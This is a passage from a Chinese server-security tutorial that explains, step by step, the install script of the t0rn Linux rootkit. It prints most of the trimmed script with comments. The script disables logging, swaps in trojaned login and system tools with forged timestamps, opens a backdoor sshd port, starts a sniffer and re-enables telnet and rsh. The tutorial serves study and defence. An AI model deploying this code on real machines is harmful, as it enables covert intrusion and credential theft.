当前位置: 首页 > 图文教程 > 服务器 > 安全防护 > Rootkit分析(2)

安全防护
服务器安全设置(十六)
服务器安全设置(十七)
服务器安全设置(十八)
服务器安全设置(十九)
服务器安全设置(二十)
服务器安全设置(二十一)
服务器安全设置(二十二)
Windows Server 2003 虚拟主机的安全配置
Win2000 Server入侵监测
Web服务器的安全和攻击防范 (一)
Web服务器的安全和攻击防范 (二)
Web服务器的安全和攻击防范 (三)
Web服务器的安全和攻击防范 (四)
Web服务器的安全和攻击防范 (五)
安全配置和维护Apache WEB Server (上)
安全配置和维护Apache WEB Server (下)
安全性与IIS (一)
安全性与IIS (二)
安全性与IIS (三)
安全性与IIS (四)

安全防护 中的 Rootkit分析(2)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-29   浏览: 50 ::
收藏到网摘: n/a

t0rn的执行流程

在t0rn rootkit所有的文件中,t0rn脚本是整个rootkit的枢纽,因此我们将详细介绍一下这个脚本的执行流程,这个脚本里面有很多噱头,我对其进行了删减,下面的代码是修改之后的代码。你可以从t0rn的发布包中获得其完整的代码。


#!/bin/sh

killall -9 syslogd
#杀死syslogd,以免在日志中留下记录。

bla2=`pwd`
#记录起始目录,以便安装完成后,从这个目录删除。

if [ "`grep in.inetd /etc/rc.d/rc.sysinit`" ]; then
echo "t0rnkit probably installed on machine [Alert]"
else
echo ""
fi
#检查是否系统中已经安装了t0rn rootkit

SYSLOGCONF="/etc/syslog.conf"
REMOTE=`grep -v "^#" "$SYSLOGCONF" | grep -v "^$" | grep "@" | cut -d '@' -f 2`
#检测系统日志是否被记录到其它主机。

if test -n "$1" ; then
echo "Using Password :"
cd $bla2
./pg $1 > /etc/ttyhash
else
echo "No Password Specified, using default - t0rnkit"
./pg t0rnkit >/etc/ttyhash
fi
#检查用户是否设置密码,如果用户没有设置密码,就使用t0rnkit作为密码。使用pg对密码进行加密,保存为/etc/ttyhash。

if test -n "$2" ; then
tar xfz ssh.tgz
echo "Port $2" >> .t0rn/shdcf
echo "3 $2" >> dev/.1addr
cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
else
tar xfz ssh.tgz
echo "Port 47017" >> .t0rn/shdcf
echo "3 $2" >> dev/.1addr
cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
fi
#解压ssh.tgz文件。检查用户是否设置了sshd使用的后门端口,如果没有设置就使用47017作为默认的后门端口。把端口号记录到dev/.1addr文件,并加入到.t0rn/shdcf文件中。最后把.t0rn/shdcf2中的默认设置填加到.t0rn/shdcf文件中,将其删除。

touch -acmr /bin/login login
#修改木马login的时间戳,使其和系统原来的login相同
./sz /bin/login login
mv -f /bin/login /sbin/xlogin
mv -f login /bin/login
chmod 4555 /bin/login
#用木马login程序替换原来的login,并把真正的login保存为/sbin/xlogin。

mkdir -p /usr/src/.puta/
mkdir -p /usr/info/.t0rn/
cp dev/.1addr /usr/src/.puta/
cp dev/.1file /usr/src/.puta/
cp dev/.1logz /usr/src/.puta/
cp dev/.1proc /usr/src/.puta/

mv .t0rn/sh* /usr/info/.t0rn/
mv /usr/info/.t0rn/sharsed /usr/sbin/nscd
/usr/sbin/nscd -q
echo "# Name Server Cache Daemon..">> /etc/rc.d/rc.sysinit
echo "/usr/sbin/nscd -q" >> /etc/rc.d/rc.sysinit
#在系统中加入一个nscd程序,并使其每次系统启动时,自动运行。nscd主要用于为DNS或者NIS提供高速缓存服务,以加快访问速度。这一步做的不是很小心:)

touch -acmr /sbin/ifconfig ifconfig
touch -acmr /bin/ps ps
touch -acmr /usr/bin/du du
touch -acmr /bin/ls ls
touch -acmr /bin/netstat netstat
touch -acmr /usr/sbin/in.fingerd in.fingerd
touch -acmr /usr/bin/find find
touch -acmr /usr/bin/top top
#修改木马ps/top/du/ls/netstat/in.fingerd的时间戳特性

mv -f in.fingerd /usr/sbin/in.fingerd
mv -f ps /bin/ps
mv -f ifconfig /sbin/ifconfig
mv -f du /usr/bin/du
mv -f netstat /bin/netstat
mv -f top /usr/bin/top
mv -f ls /bin/ls
mv -f find /usr/bin/find
#使用特洛伊木马程序替换系统原来的程序。

cd $bla2
mv t0rns /usr/src/.puta/t0rns
mv t0rnp /usr/src/.puta/t0rnp
mv t0rnsb /usr/src/.puta/t0rnsb
cd /usr/src/.puta
./t0rns
#把嗅探器程序t0rns,语法分析程序t0rnp和日志清理程序t0rnsb复制到其工作目录,然后启动嗅探器程序t0rns。

sed "s/^#telnet/telnet/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^#shell/shell/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool ;mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^# telnet/telnet/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^# shell/shell/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool ;mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^#finger/finger/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf